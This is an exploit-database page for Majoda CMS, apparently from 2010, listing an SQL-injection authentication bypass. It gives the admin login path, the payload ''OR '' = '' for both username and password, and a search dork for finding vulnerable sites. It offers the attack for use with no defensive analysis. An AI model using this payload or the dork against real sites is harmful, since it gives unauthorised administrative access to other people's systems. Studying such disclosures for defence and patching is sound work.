Majoda CMS authentication bypass

2010-03-01 / 2010-03-02

Credit: Phenom

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: Majoda CMS

# Exploit Title: Majoda CMS (Auth Bypass) SQL Injection Vulnerability
# Date: 2010-02-28
# Author: Phenom
# Software Link: 
# Version: 
# Tested on: windows xp sp3
# CVE : 
# Code : 

------------------------------------------------------
------------------------------------------------------

 _____  _                                
|  __ | |                               
| |__) | |__   ___ _ __   ___  _ __ ___  
|  ___/| '_  / _  '_  / _/| '_ ` _               
| |    | | | |  __/ | | | (_) | | | | | |             
|_|    |_| |_|___|_| |_|/__/|_| |_| |_|             

                                                      
------------------------------------------------------
------------------------------------------------------

############### Majoda CMS (Auth Bypass) SQL Injection Vulnerability ##########################
#
#       Author : Phenom
#       
#       mail : sys.phenom.sys[at]gmail[dot]com
#
#       Dork : Majoda CMS
####################

####### Exploit ##################
#
#      http://site/admin/index.asp
# 
#      Anvndarnamn(Username) : 'OR '' = '
#      Lsenord(password)     : 'OR '' = '
#
#################

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Majoda CMS authentication bypass

Dork: Majoda CMS

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.